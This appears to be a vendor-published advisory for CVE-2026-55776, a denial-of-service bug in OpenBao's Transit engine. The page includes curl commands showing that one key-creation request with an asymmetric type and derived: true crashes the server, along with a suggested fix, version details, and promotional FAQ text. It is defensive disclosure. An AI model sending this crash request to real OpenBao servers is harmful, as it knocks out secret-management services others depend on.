Summary
OpenBao: Transit secrets engine crashes on key creation with derived: true for asymmetric key types
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519)
with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.
Mount the transit engine:
`curl -sS -X POST -H "X-Vault-Token: root" \
-d '{"type":"transit"}' \
http://127.0.0.1:8200/v1/sys/mounts/transit`
Trigger the crash:
`curl -sS -w '\nHTTP %{http_code}\n' -X POST \
-H "X-Vault-Token: root" \
-H "Content-Type: application/json" \
-d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
http://127.0.0.1:8200/v1/transit/keys/some-key-name`
You can try with both JSON or HCL It will crash the entire cluster.
Observed:
HTTP 000
curl: (52) Empty reply from server
$ docker ps -a --filter name=openbao
STATUS: Exited (2)
Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or
invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.
Suggested fix:
Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,
xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
Impact
CVE-2026-55776 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260617104123-db57c62602b2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-55776? CVE-2026-55776 is a medium-severity security vulnerability in github.com/openbao/openbao (go), affecting versions >= 0.1.0, <= 2.5.4. It is fixed in 0.0.0-20260617104123-db57c62602b2.
- How severe is CVE-2026-55776? CVE-2026-55776 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/openbao/openbao are affected by CVE-2026-55776? github.com/openbao/openbao (go) versions >= 0.1.0, <= 2.5.4 is affected.
- Is there a fix for CVE-2026-55776? Yes. CVE-2026-55776 is fixed in 0.0.0-20260617104123-db57c62602b2. Upgrade to this version or later.
- Is CVE-2026-55776 exploitable, and should I be worried? Whether CVE-2026-55776 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55776 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55776? Upgrade
github.com/openbao/openbaoto 0.0.0-20260617104123-db57c62602b2 or later.